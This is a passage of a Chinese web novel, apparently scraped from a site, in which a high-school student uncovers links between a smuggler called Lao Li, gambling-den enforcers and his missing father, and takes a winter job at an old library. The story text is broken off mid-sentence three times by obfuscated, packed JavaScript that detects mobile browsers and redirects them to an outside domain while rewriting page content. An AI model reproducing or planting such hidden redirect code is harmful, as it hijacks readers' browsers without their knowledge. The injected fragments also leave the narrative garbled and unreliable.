按照习惯,翻开课本,坚持学完一个单元的课程,又写完相应的练习题册。揉了揉手臂,指针已经指到了八点钟。 屋子好似漏了洞,风吹过就会形成很大的呼啸声,像鬼哭狼嚎一般。 他拿起一旁的手机,上面显示老李的来电。盯着来电显示看了三秒,最终按下了接听键。 “有事?” “你小子终于接电话了!”老李的声音像是从牙缝里挤出来的,背景音里夹杂着嘈杂的音乐声,“你他妈疯了?知道那客户什么来头吗?” 窗外的风突然变得急促,将晾衣架上的铁钩吹得叮当作响。宋恩年把手机音量调小了些。 “那里面不止是账本,还有其他的。” “所以呢?”老李嗤笑一声,打火机的声音清晰地传来,“钱不就是钱?” 宋恩年:“我不做违法的事,这是底线。” 短暂的沉默后,老李突然笑了:“行啊,你小子。” “但你现在让我很难做,懂吗。” 又牵扯到这种生生死死的东西,宋恩年有些烦躁。老李还在说话:“本来解开那个文件,咱们大家都好,现在闹成了这个样子。” 宋恩年声音冷如一把尖刀:“今天警察也来了,谁干的。” 老李声音一顿。 电话那头突然安静了,连呼吸声都听不见。宋恩年冷笑:“老李,别以为我不知道。那根本不是什么账本,你们就是想借我的手把那伙人送进去。” 他的手指无意识地敲击着窗台,“至于你们是怎么设的局,我不关心。但你们让我去做这个鱼饵,是不是有点太过分了。” 电话那头依旧是沉默。 “我还逃了,”宋恩年轻声说,声音里带着几分自嘲,“你是不是很失望?” 电话那头传来老李的叹息:“我就喜欢和聪明人打交道。” 背景音里的音乐声突然变小,像是他走到了安静的地方,“不错,那些人干扰到我们的生意了。” 宋恩年笑一声,窗外一道闪电划过,雨点开始噼里啪啦地砸在玻璃上,像无数细小的手指在敲打。 “很可惜,想让我去当炮灰,不太可能。” “在知道我逃了之后,你这样急切给我打电话来掩饰,挺可笑的。” 老李的语气突然变得诚恳:“听着,刚开始没打算让你冒险的,但若是我们这边没出人,对方也不会轻易现身,诚意不够。” “你是我在中国认识的唯一信得过的朋友,我就是对你有信心,才会叫你。” 宋恩年沉默,他保持着接电话的姿势,窗外又一道闪电亮起,他看见雨幕中有个人影站在巷口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473624|169667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小卖铺前。 戴鸭舌帽,身形瘦高,绝对不是核桃巷的住户。 看样子对方还没有注意到这边的情况。 他突然有些庆幸今晚提前拉了窗帘,只留有一条小缝隙。他迅速判断了对方从这条小缝隙中能看到自己的概率有多大。 这条窗帘是他之前特地换过的,且按常理来说,里面的人更容易看清楚外面的情况,外面不太容易能看进来。 “喂?还在听吗?”老李的声音把他拉回现实。 宋恩年很平静地说,“别称朋友。” “好,好。”老李急忙改口,“这样,这事算是我欠你的。对方的人也被抓了,我们的任务完成,但他们很可能已经将你列入了报复名单里面,你现在只能寻求我们的帮助,相信我,我们一直都是在同一条船上,只有我能帮你。” 宋恩年问:“怎么帮?” 他的目光仍锁定窗外那个身影。 老李:“你今天去的时候,有没有暴露?” 宋恩年:“做了基础防护。” 老李:“那就好,你装作一切如常就行,千万不要暴露自己。” 宋恩年:“这我当然知道。” 意思就是不用你多说我也懂。 他不再理会老李,径直挂断电话。 有一次这种经历,他不会再信任接下来的任何一句话。 走到窗边。雨太大,看不清那人的脸,但对方不断看表的动作明显是在等人。 宋恩年点开通讯录,飞老头发了条加密信息:“核桃巷357号小卖铺,帮我查查走廊的人。” 老头很快回复:“稍等。” 隔一会,又发来:“是赌场追债的打手。” 宋恩年放下手机,眉头紧锁。 这些阴魂不散的家伙,这么长时间了还在蹦跶。 抬头看了眼挂钟,九点二十,外婆应该睡下了。 他轻手轻脚地出房间,发现厨房的灯还亮着。宋奶奶正在揉面团,案板上摆着明天要做的包子馅。 “阿幺?”宋奶□□也不抬,“饿了吗?” 宋恩年说:“想喝水,外婆你还没睡。” 宋奶奶笑了笑,眼角的皱纹舒展开来:“人老了,就爱折腾些。” “大家伙都说我做的早点好吃呢,我得多做些。” 宋恩年给自己倒了一杯热水,随口问了一句:“都是学生买的多吗?” 宋奶奶揉着面团子,“不止,还有几个大汉,一个化妆很浓的女人,每天都来买。” 宋恩年动作一顿,“他们来了多久了?” 宋奶奶对他这突如其来的话有些疑惑,扭头看了他一眼,“就最近吧,两个星期这样。” 她顿了顿,“怎么了?” 宋恩年了然,放下水杯,“没什么,就是随便问问,外婆你也早点睡。” 宋奶奶点头,又转身去揉面:“知道啦,我把这点面揉完就睡。” 宋恩年回到房间,轻轻关上门。这个消息让他面色冷冽。 说明这些天来,赌场那群人从来就没有消失过,一直在暗中观察。 大意了。 当初就不应该让老李那家伙将车开到核桃巷附近。不过现在,他必须想办法解决这个麻烦。 宋恩年低头,看到老头还在发着消息,无一例外,全都是腻死人的颜文字。 将手机摁灭。 他实在不理解,赌场那群人为何如此穷追不舍,就为了那一箱黄金? 要不是他亲手将老李那个箱子带出来,且亲眼打开看过,他都怀疑箱子里面装着赌场的传世珍宝。丢了,所有人都不能活的那种。 他目光明灭盯着老李的微信,总觉得他还在瞒着自己什么。 15. 第五封信 宋恩年盯着手机屏幕,指尖在发送键上方悬停许久,最终按了下去。“老李的背景,给我说清楚。” 机屏幕暗了又亮,始终没有回复。 宋恩年给老头打去电话,很快被接通了,“喂?小年年?” 宋恩年深吸一口气,“少废话。” 他走到窗边,掀开窗帘一角往外看,巷口的梧桐树下,那个可疑的身影已经不见了。“那天接单的老李,到底是什么来路?最近赌场那些人,一直在这附近转悠。” 老头罕见地沉默了几秒。“最开始我接到的消息就是那样。” 他的声音突然变得谨慎,“不过你两小时前问的那个人...我查到些东西。” 宋恩年:“查到了什么。” “老李不简单。”老头的声音压低,“那个箱子里装的,恐怕不止是黄金。他现在人在美国,具体的不清楚,但有一点可以确定...” 老头说,“他在那边做偷渡的生意。” 宋恩年皱眉,他感觉有什么东西在胸腔里炸开,又迅速凝结成冰。“你的意思是...” “老李可能一直知道孙剑的下落?” 孙剑。这个陌生又熟悉的称呼在舌尖滚过,带着铁锈般的苦涩。那是他生物学上的父亲,五年不见踪影的男人。 “没人知道孙剑去了哪。”老头的声音带着几分犹豫,“但如果真的出国了...总得有人接应,帮忙伪造身份,老李很巧就是干这个的。” 宋恩年沉默了几秒,嘴角勾起一抹冷笑。 “这个世界...可真是小啊。” 小到让这些本该毫无关联的人,突然都聚集在了一起。老李、赌场的打手、失踪的父亲...就像一张无形的网,正在他周围慢慢收紧。 不管老李非要拿到那个箱子的目的是什么,不管里面到底藏着什么秘密,也不管老李是否真的认识孙剑。光是这些天的欺骗,让他去当诱饵这件事,这梁子也结得足够大的了。 可是,他身边实在有太多牵制。 他还有外婆,他要学习,他还有自己的生活。 他第一次感受到了无助。 “孙剑...”宋恩年轻声念出这个几乎陌生的名字。 他强迫自己冷静下来,对着电话那头说:“关于老李更详细的资料,能弄到吗。” “对了,在拉斯维加斯有个人,右手小指断了半截,最近在港口的地方出现过,帮我查一查。” “小年年,”老头的声音罕见地严肃,“这事水太深,你确定要趟?” 宋恩年沉默片刻,“他们都已经找上门来了,我还有选择吗?” 电话那头沉默了几秒,随后传来键盘敲击声,“稍等,我托人查一查,这需要一些时间,有线索了回电你。” “好。”宋恩年说完,挂断了电话。 只觉得浑身有些冰凉。 他干坐了一个小时,老头打来电话。 “查到老李半年前从洛杉矶出境,回到中国,布局几个月就为了赌场那个箱子。他表面做进出口贸易,实际上是“蛇头”张老三的手下。” 宋恩年感觉一股寒意从脊背窜上来。张老三,这个名字他太熟悉了,孙剑失踪前,最后一次通话里提到的就是这个人。 “还有更糟的,”老头继续道,“赌场那伙人不是普通的追债的,他们是张老三的对头,来找的不只是黄金,还有一份名单。” “什么名单?” “偷渡客的真实身份记录。据说你父亲孙剑,就是当年的关键证人。” 宋恩年的大脑嗡嗡作响,他想起那个被自己亲手交给老李的金属箱。当时老李说里面是黄金,他信了,因为箱子确实沉甸甸的。 但如果...如果里面装的是比黄金更重要的东西... “喂?在听吗?”老头的声音将他拉回现实。 “好了,我明白了,多谢。”宋恩年找回自己的声音,“拜托帮我继续寻找线索。” 老头笑了声,“行吧,就当是你这些年一直给我干活的报酬了。” 挂断电话,宋恩年感觉太阳穴突突直跳。这些错综复杂的关系像一团乱麻,但仔细梳理,似乎又能看到其中若隐若现的线索。 有些事情,终究是避不开的。 他走到床边,从床头的铁皮箱子里摸出一把小小的钥匙。钥匙做工精巧,齿痕复杂得像是某种密码,在阳光下泛着冷冽的金属光泽。 就算是有人想要刻意模仿,也是不能简单就模仿出来的。 这是那天帮老李取箱子时,在昏迷的女人身边发现的。他本以为是开保险箱用的,后来才知道保险箱只需要密码。 这把钥匙就一直被他收着,连老李都不知道它的存在。 宋恩年把钥匙举到眼前,阳光透过钥匙孔,在地板上投下一个小小的光斑。 他忽然笑了,笑容里带着几分冷意。现在两方人马像嗅到血腥味的鲨鱼般围猎而来,却不知道真正的猎物早已易主。 * 宋恩年任由自己躺在小躺椅里面,沉浸在这一场专属于天地万物与自由的回声当中。 有时候不去想太多,反而能让事情变得简单些。 他划开手机屏幕,企鹅图标上显示着十几条未读消息。孟修的头像在消息列表里上蹿下跳,点开后满屏都是关于方依珞的碎碎念。 一会如同打了鸡血一样奋起,一会又像是被霜打了的茄子怏怏的。 宋恩年眼角直跳,照例回复:“别想太多,顺其自然。” 发完这句,他习惯性地点开了余念的空间。 最新更新的动态停留在半小时前,是今天和方依珞去新城区吃火锅的分享,评论区里顾苒的留言带着夸张的感叹号:“啊啊啊早知道就不睡懒觉了!” 看着活跃的评论区,宋恩年忍不住心底一松。 但一向活跃的[榕城一中交流群]如今却诡异地十分安静,宋恩年点击去,往上划拉几下,才知道是期末考试成绩出来了。 孟修的消息弹窗而出:“老宋,期末考试成绩出来了,你还是第一名。” “我的政治历史成绩都进步了,哦耶!” “话说老师改卷子的速度真快哈,这才放假两天,就全都改完了,应该是老师也想早点放假吧哈哈哈。” 宋恩年回复:“成绩出来,分班表也快要出来了。” 孟修那边安静了一瞬,随后又是一大片的消息刷屏,“求求老天爷保佑啊,一定要分到文科实验班。” 隔着屏幕都能想象到对方着急又期待的样子。 宋恩年没再回复,转而从书桌上抽出一张白纸。台灯的光晕在纸面上晕开一片暖黄,他握着笔,在纸上画出一条笔直的数轴。 将这些天发生的事情全都按照顺序写了下来。今晚发生的事情太多,数轴上对应的标记也格外密集。 夜光昏暗,小台灯散发出的暖色光照射在这一方干净的纸上,只有少年低头写字的沙沙声。 写完最后一个时间点,停笔,盖上笔帽。 宋恩年对着纸上写的内容仔细思索,将时间串联,考虑多种结果。良久,才将纸折好,犹豫了一瞬,还是将其给撕了,扔进垃圾桶里。 他明确现在的主线任务,就是将外婆的病治好,或者给外婆更好的生活,至于其他的,那是精力之外的事情,他会想办法完成。 万事都应该以主线任务为先。 明确这一点,内心轻盈不少。 抬头看了眼挂钟,时针已经指向十二。 “先睡一觉。”宋恩年对自己说。 这些天来他没有睡过一个早觉,确实有些累。 但刚躺在床上,就看到手机上好几个孟修打过来的未接电话。 宋恩年皱眉,立马点开企鹅,一边将电话回拨,刚被接通,那边就传来孟修的哭声:“老宋,呜呜呜呜,我完了,我选了文科,但是方...呜呜呜呜......” 宋恩年从他呜咽的声音里拼凑出想要表达的整句话,“也就是说,你如愿去了文科,但方依珞没选文。” 孟修点头,“对,她去理科了,自从分班表出来,我们的企鹅已经好久没说话了。” “好久是多久?” “整整一个小时!” 宋恩年沉默片刻,“也挺好的,文科实验班也不差。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480855|169667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “而且你不是总说,政治历史越背越喜欢了?” “那些鬼话你也信。”孟修哀嚎,“都是自我麻痹的幻象!” 宋恩年靠在床头,点开班群里班主任发的正个年级的分班表,第一眼先找余念的名字,在二班。 他依然在一班。 榕城一中有个心照不宣的传统,那就是越靠前的班级,学生的成绩往往越好,而一班则是大家口中的“火箭班”。 不知为何,他松了口气,至少早读时还能在走廊遇见她。 孟修还在哀嚎:“老宋,怎么办啊,文科班在六楼,方依珞还在三班,我以后想要来找你们,都要上下六楼了。” 宋恩年点开看文科班的分班信息,“有个和方依珞玩的很好的朋友,叫顾苒,也是和你一个班的,也许方依珞会上去找她玩呢,你们多的是机会见面,别担心。” 孟修抓狂,最后认命一般叹气,“这个世界太残酷了...” “幸好我爸妈没反对我选文科。大学还有很多文理兼收的专业...应该...没问题吧?” 宋恩年回答,“嗯。” 孟修还是抓狂,泄气道:“但我一直很想和方依珞一个班级啊啊啊,呜呜呜呜” 宋恩年没说话,保持着听这的姿态一直听着孟修在电话那头一直嚎叫了半个多小时,时不时说两句话。 直到孟修喉咙都干了,这场电话才停止。 宋恩年在脑中思索了片刻,接下来的路,要来的阻挡不了,倒不如多放开手脚去做。 他决定明天去找份寒假工。这个念头让他感到一丝踏实,至少是在为明确的目标努力。 * 方依珞看到分班表之后,彻夜未眠。 方爸和方妈却很开心,理科一共有20个班级,其中实验班只有三个,而方依珞就在其中一个实验班中。 榕城一中是整个榕城最好的高中,要是进入这所高中的实验班,那就相当于一只脚踏进了重点大学的校门。 方妈妈人逢喜事精神爽,一直到半夜三更还在打电话报喜聊天。 方依珞躺在床上,怎么也睡不着。 心思全在另一个消息上:孟修选了文科。 她叹气,再次点开企鹅,点开孟修的头像框,上一次聊天还停留在俩人互相分享搞笑八卦。 现在想来,孟修那欲言又止的表情似乎早有预兆。手指悬在对话框上方许久,最终还是没能打出一个字。 两个人十分默契,谁也没有主动开口。 再次叹气之后,方依珞点开和余念还有顾苒的三人聊天群,输入:“分班结果出来了,孟修选了文科,怎么办啊。” 余念也还没睡,刚看到分班表,开心地与家里人分享喜讯,虽然已经十二点,但余爸余妈和爷爷奶奶都很开心。 实验班,那可就意味着以后大学是不会差的了,前途都有保障了,必须得庆祝。 余念抱着大玩偶,闻言在群里发起了语音通话,随着“嘟”的一声,电话很快被接通了。 顾苒一进来就迫不及待开口:“这说明我们小珞文理兼修嘛!选哪个都能进实验班!” “重点不是这个...”方依珞把脸埋进枕头,声音闷闷的,“我来理科班是以为孟修也会选理科......” 顾苒有些意外:“他选文科去了?” 随后又变换了一种语气,“这说明什么,说明他暗恋你!所以才会追着你一同去选文科,毕竟在分班表出来之前,所有人都以为你会选文呢。” 余念也开口:“别太难过了,说不定会有意想不到的好事发生呢?” “失之东隅,收之桑榆嘛,一定会有更好的在等在着我们。” 方依珞翻了个身,月光透过窗帘的缝隙在地板上画出一道银线。 顾苒的话还在耳边回荡。 她想起每天晚上和孟修聊到深夜,两人似乎有说不完的话题。或许...或许真的如顾苒所说? 他也喜欢自己? 窗外的榕树沙沙作响,像是藏着无数青春的秘密。这个冬夜,四个年轻人的心事如同天上的繁星,明明灭灭,却都固执地发着光。 16. 第五封信 第二日清晨,宋恩年如同往常一样先帮外婆将早点摊子整理好。 背起书包说,“外婆,我去找个寒假工。” 宋奶奶看他那样子,忍不住地心疼,“大冷天的,找什么寒假工,在家就行了,这些天都没好好休息过。” 宋恩年说,“我不找太累的,会准点回家。” 南方湿冷,特别是下过雨之后,风一吹,只觉得那股冷气直往骨头缝里钻。 宋恩年裹紧外婆硬塞给他的厚外套,呼出的白气在眼前短暂停留又消散。 宋恩年踩着结霜的柏油路转过街角,来到一间老旧图书馆前,灰扑扑的罗马柱上贴着张招聘启事,在寒风中轻颤。 这间图书馆他专门查过,前身是一间报社,且馆长喜好收藏一些就报纸和旧资讯。 里面或许有他想知道的。 “招图书馆管理员,一天30,日结。” 宋恩年看着启事末尾的小字,手伸向被寒风掀起的纸角,轻轻一揭,将整张纸给撕了下来。 玻璃门内,一位老人正踩着梯子整理书籍,呢子大衣下摆沾着细小的尘埃,在晨光中闪着细小的光。 宋恩年叩响大门,走了进去。 “您好。”少年站着时,像一根笔直的青松,他很有礼貌地问:“我看到您在外面张贴了招聘,想来问问。” 老人扶正金丝眼镜,上下打量了他一番,“你还是个学生?字迹如何?” 宋恩年从书包里抽出笔记,馆长从梯子上下来,接过少年递过来的本子。 只那一眼,就让馆长眼神一亮。 馆长经营这一间图书馆几十年,对书籍字迹之类的研究最多,对字迹工整者颇有好感。他眼里露出几分欣赏,将笔记还了回去。 “字如其人。”馆长看着他,笑着问:“为什么想来这里?日薪不高,寒假人又多。” 宋恩年诚恳说,“想利用起空闲时间,一直到下学期开学前,我每天都能来。” 馆长笑了声,“还挺真诚。” “早上七点上班,别忘了。” 宋恩年一笑,“谢谢馆长,我会准时到。” ...... 翌日清晨,霜花在窗玻璃上勾勒出蕨类植物般的纹路。 宋恩年推开图书馆沉重的木门,风铃发出清脆的声响。 馆长正泡好茶,抬手看了眼表,“挺准时,走吧,带你认认路。” 宋恩年点头,跟着馆长穿过一排排书架。阳光透过彩色玻璃窗,在地板上投下斑驳的光影。 这间图书馆年代久远,是百年前某间报刊亭改建而成,馆长一生都在收集那些泛黄的旧报纸和绝版书籍。 “咱们图书馆面积不大,能放下的书籍有限。”馆长看着一排排整齐的书脊,“随着科技发展,咱们这就渐渐被遗忘了。” 宋恩年随着馆主往里走,木质地板在脚下发出轻微的吱呀声。 这间小图书馆一共分为三层,一楼的阅览区宽敞明亮,二楼较为高耸,需要爬梯子才能取到上层的书籍。三楼则是馆主堆放珍藏的地方,需要预约才能进入。 宋恩年注意到,在这里看书的多数是白发苍苍的老人。他们戴着老花镜,在晨光中安静阅读的样子像是定格的老照片。 馆主看出他的疑惑,笑着道:“在这看书的每一个人,我都认识。这么多年,也习惯了。” 宋恩年点头,在下一个转角,却看见了一个熟悉的身影。 余念正低头翻书,睫毛在脸颊投下细碎的阴影,发梢被阳光染成温暖的琥珀色。 靠近窗户的外头,车流来来往往,都成为她的陪衬。 宋恩年的心跳漏了一拍。没想到会在这里遇见她。 喉结不自觉地滚动了一下,他强迫自己移开视线。 “接下来去二楼看看。”馆长的话将他拉回现实。 宋恩年又朝余念的方向望了一眼,跟上馆长的步伐。 二楼视野更为开阔,但书架也更高,需要爬上移动梯才能整理上层的书籍。 馆长拍了拍结实的橡木梯子,“这就是我张贴招聘的原因。年纪大了,爬上爬下的终究不方便。” 宋恩年了然地说,“我明白了。” 简短大四个字让人踏实,馆长很高兴,伸手拍了拍他的肩膀,“那我就放心了。好,今日就先这样。” 宋恩年得了准许,可以随意逛逛。 他忍不住回到一楼,在书架子往余念的方向看去。 看她伏案阅读的样子,静谧得整个世界都安静了下来。阳光为她镀上一层柔和的轮廓,她旁边还摆着一个水杯,印有小雏菊的图案,在桌面投下小小的光斑。 宋恩年不知怎么的,拿出手机,拍下了这一幕。 余念似乎察觉到什么,抬头张望。他急忙转身,幸好书架子足够藏下一个人。 余念没看到什么异样,继续低头看书了。 过了好一会,宋恩年挪步离开此处。 将一楼二楼全都逛了一遍,来到三楼前,最后一阶台阶上立着一扇门,是锁上的。 透过门缝能看到里面堆满泛黄的报纸和资料。 他记下这个细节,反正还有一个寒假的时间可以慢慢了解。 接下来的几天,宋恩年每天准时到馆工作。清扫地板、整理书架、登记借阅,他做得一丝不苟。 馆长将他的所作所为都看在眼里,看着这个清瘦的少年踮脚将书籍归位的背影,眼中满是赞赏。 他叫住正在擦拭书架的宋恩年:“孩子,你做事很认真。” 他递来一把古旧的铜钥匙,“这是三楼阁楼的钥匙,里面放着这些年的报纸和资讯,两个月不曾有人去过了,想请你帮忙打扫一番。” 宋恩年接过钥匙,冰凉的触感让他想起第一天来时的情景。 他来这的目的,就是为了这把钥匙。 “我很乐意帮忙。”他说。 馆长扶着老花镜说,“你清理一下灰尘就好,不用太细致。” 宋恩年点头表示知晓。 心中将馆长的话记了下来。“两个月不曾有人来过。” 两个月前谁来过? 他带着疑问踏上吱呀作响的楼梯。钥匙插入锁孔时发出生涩的摩擦声,推开门,陈年的油墨味混着灰尘扑面而来。 阁楼很矮,里面只有四个书架,都落满了灰尘,里面还有一张书桌,是供人阅读的。 宋恩年走过去,发现有一个书架子上专门摆放着成捆的报纸。 他轻轻掩上门,指尖抚过那些泛黄的报纸,折痕上灰尘纷纷落下。 “2008年...2010年...” 他低声念着报纸上的日期,在一摞2010年的《榕城日报》前停下脚步。 是孙剑失踪的那一年。 宋恩年小心翼翼地解开麻绳,报纸发出细微的脆响。从一月份一直翻到六月的社会版,抽出来一看,在很小很小的边角区域里,一则不起眼的报道引起了他的注意:《码头工人涉嫌参与偷渡案》。 报道旁边配着一张模糊的黑白照片,几个被警方押解的男子低着头,其中一人右手小指明显残缺。 宋恩年的呼吸一滞,这就是孙剑。 可他不是在追债人的威逼利诱下,在一个雨夜逃走了吗,怎么又会出现在这? 阁楼里安静得能听见灰尘落定的声音。 他深吸一口气,拿出手机将这份报纸的正反面都拍了下来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489048|169667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 再往下翻,就到了十月份的样刊。 宋恩年皱眉,快速寻找,才发现其中的七、八、九月份的样刊全都没了。 他的动作迅速,报纸在他手中沙沙作响。窗外突然刮起一阵寒风,吹得天窗玻璃嗡嗡震动。 这说明有人将这则新闻的正面报道给销毁了。 意识到这个,宋恩年快速将报纸整齐地放回原处。而后围着四个书架子仔细寻找,想要找到不一样的地方。 果不其然,在书架最底层的蜘蛛网里,宋恩年发现一个落满灰尘的牛皮纸袋。 他立马将牛皮纸袋拖了出来,拂去灰尘,只见上面用褪色的钢笔字写着“2010年特别报道素材”。 纸袋里是一叠记者手稿和未刊登的照片。其中一张清晰地拍到了码头现场。 照片角落里模糊的身影,那件熟悉的格子衬衫,正是孙剑离家时穿的那件,而他旁边,赫然是年轻时的老李。 没有过多迟疑,宋恩年立马掏出手机,再将这些照片平铺开来,将这些照片拍了下来。 但这手机实在老旧,想要拍得清晰,拍完还得保持两秒钟,这就大大降低了拍照速度。 才拍了两张,楼下就传来慢悠悠的脚步声。 宋恩年迅速将资料归位。钥匙转动的声音响起时,他低头假装在擦拭书架。 “年龄大了,爬楼梯也不方便,才两个月没来,竟然就积了这样多的灰尘。” 馆长推门进来,手里端着两杯热气腾腾的茶,语气有些感慨。 宋恩年站起身,“确实需要好好清理一番。” 馆长啜了一口茶,目光扫过那些整齐的报纸捆。“这些报纸也许久没动过了,以前最喜欢的就是看报纸。” “都变成研究的老古董咯。” 宋恩年不经意地问:“这些资料...有人来查阅过吗?” “偶尔有些做研究的学生。”馆长摇摇头,“不过最近这几个月,除了你今天来打扫,只有一个戴眼镜的男人来过。” “戴眼镜的男人?”宋恩年动作一顿,“是学校的老师来做研究吗?” 馆长摇摇头,“看着不像。四十来岁的样子,说话带着点北方口音,说是要写什么地方志。” 他指了指桌上的登记簿,“来访三楼的都要登记,就在那边。” 宋恩年手下动作不停,感兴趣似的问:“他...对哪些年份的报纸特别感兴趣?” “这我确实没注意过。”馆长眯起眼睛回忆,“说来也怪,两个月前他来的时候,我正好发现少了几张报纸。” 他摇摇头,“不过这种旧报纸,也可能是之前哪个学生借阅时弄丢了。” 窗外一阵冷风掠过,吹得天窗发出细微的震颤。宋恩年动作一顿,脑海中闪过老李那张戴着金丝眼镜的脸。 “他是不是...”宋恩年斟酌着词句,“戴着金丝眼镜?左眼角有颗痣?” 馆长惊讶地抬头:“你认识他?” 宋恩年坦然说:“不算认识,之前在学校图书馆,我也曾见过他来借阅书籍。” 馆长若有所思点头。 宋恩年状似随意地走向登记簿,瞥了一眼,泛黄的纸页上,最近三个月的访客记录寥寥无几。 “好了,今天就到这吧,总待在灰尘漫天的环境里也不好。”馆长说,“时候也不早了。” 离开图书馆时,暮色已沉。 傍晚的风有些大,也很冷。核桃巷口有一盏路灯年久失修,明明灭灭地照着宋恩年回家的路。 他裹紧外套,将冻僵的手指塞进口袋。此刻他口袋里还装着另一样东西。 从牛皮纸袋边缘悄悄撕下的一角,上面印着当年采访记者的联系方式。 17. 第五封信 宋恩年回到家,厨房蒸腾的雾气里,宋奶奶正搅动砂锅里的汤,高兴地说:“今天回来得这么早。” 宋恩年“嗯”了一声,“我先回卧室了。” 这些天来,因着他工作的原因,时常回来得很晚,宋奶奶也会很晚才做晚饭,因此不着急吃饭。 宋奶奶看他沉默的背影,担忧多看了两眼,想问一句,也只挤出一句:“好好休息。” 卧室的门轻轻合上,将厨房的烟火气隔在门外。宋恩年坐在床沿,手机屏幕的冷光映着他紧绷的下颌线。 指尖在屏幕上停顿片刻,还是给老头发了消息:“找到当年的码头案报纸了。” 电话来得比想象中快。老头的声音透过听筒传来:“小年年,这东西都能被你挖出来。” “什么意思?”宋恩年蹙眉 老头嬉笑了声,说:“没在没什么人看报纸了,当年那场码头偷渡岸,登上报纸这是轰动了整个榕城,最后不过也就是抓了几名替罪羊,闹一阵也就过去了。” 窗外的枯枝在玻璃上投下张牙舞爪的影子。宋恩年走到书桌前,将话题拐了个弯: “最近有孙剑的线索吗?” 老头说,“还没有,我自己自个都忙得团团转,现在的年轻人,在黑网下什么任务的都有。” 他短促地笑了声:“话说,小年年,你也小心些,说不定哪天就被人挂了悬赏。” 老头这语气让人有种强烈的不适感,宋恩年皱了皱眉,他说,“报纸上没什么有用信息,从馆长的话里得知老李也去过,将重要的几张拿走了。” “他这样的,可不得谨慎些。”老头嘟囔了一嘴,突然话锋一转,“对了,你最近缺不缺钱,要不来我这......” “先这样吧。”宋恩年打断他,挂断电话的瞬间,才发现掌心全是冷汗。 把电话挂了之后,宋恩年点开相册,放大白天拍下的报纸照片。泛黄的纸页上,模糊的铅字像蛰伏的蚂蚁,爬进他的眼底。 躺在椅子里思索片刻,抽出一张纸,提笔画了一根数轴。 从两年前认识老头开始,一直到今天,将主要事件以及老头说过的让他印象深刻的话,全都写了下来。 包括他对老头的印象的变化,也全都一并写了下来。 直到刚才在电话里头说的那句“小心黑网悬赏。” 心头上总有一种很怪异的感觉,这种说不清道不明的感觉一直萦绕在心头。 宋恩年一直很相信自己的第六感。直觉告诉他,不要和老头透露太多。 别看这人总是神神叨叨的,实则心里面精明着。 宋恩年将老头拉入了不能深交的范围,又对着纸张思索了好一阵,然后将纸给撕碎,扔进垃圾桶里。 靠着椅背闭目。 月色清明,微风很凉,外面传来小孩嬉戏的打闹声,叽叽喳喳。 这几日,家家户户都热闹得紧,年关将近,不少在外打工的人都回来了,连带着这一片的商场商铺之类的都热闹了不少,巷子里整日都能听到孩子的笑闹声。 “阿幺,来吃饭了。”宋奶奶的声音从门缝外传来。 宋恩年起身,“来了。” 今晚的晚餐依旧丰盛。红烧排骨泛着诱人的酱色,清炒时蔬碧绿如玉,一碗老鸭汤冒着袅袅热气。 宋奶奶舀了满满一勺炒虾仁放进他碗里:“多吃点,补脑的。” “嗯。”宋恩年低头扒饭,听见宋奶奶轻声念叨,“最近巷子人多了不少,临近过年,家家户户都热闹起来了。” 宋恩年夹了块排骨放进外婆碗里,“快过年了,热闹也正常。” 宋奶奶往外瞥了眼,打趣说了句,“还记得你小时候,最喜欢过年了。” 宋奶奶说完,空气笃然沉静下来。宋恩年说:“明儿图书馆休息一日,我陪您一起买些年货去。” 宋奶奶眼睛一亮,“好,明儿就去。” 夜色渐深,邻居家的红灯笼在风中轻轻摇晃。宋恩年躺在床上,听见远处传来零星的鞭炮声。 如果日子能一直这样安稳下去... 可惜,不能。 * 日子渐渐从指缝中溜走,冬日愈发寒冷。 没事的时候,就在书架后面看余念认真读书的样子,那样安静又入迷的读书,仿佛世间上万物都抵不过眼前这一本书。 他忍不住坐下来,就着书架缝隙的地方,将这一副画面给画了下来。 当余念合上书本站起身,宋恩年仓皇将速写本塞进工具袋。起身太急,后腰撞上移动梯,金属震颤的余韵里,他看见余念杏色的毛线裙摆扫过书架转角。 余念看到他,很惊讶:“你......” 随即看到他手中的扫帚,立即反应过来,“你一直在这帮忙吗,太巧了。” 宋恩年点头说:“最近刚来,寒假工,平时打扫一下书架子。” 余念了然,她指了指手中的书,“我最近在看文物史,还挺有趣的。” “这个作者写的很深刻,可惜没能找到同类型的书。” 宋恩年说,“需要帮你找一下吗,我刚才在那边看见了类似的系列书,叫《平山郁夫敦煌写生集》” 余念眼睛倏地亮起来,像是有人往琥珀里投了颗火星:“在哪个区域?” “艺术类二柜三层。”他抬手指向相应的方向。余念顺着宋恩年的指引小跑而去,很快就找到了想看的书。 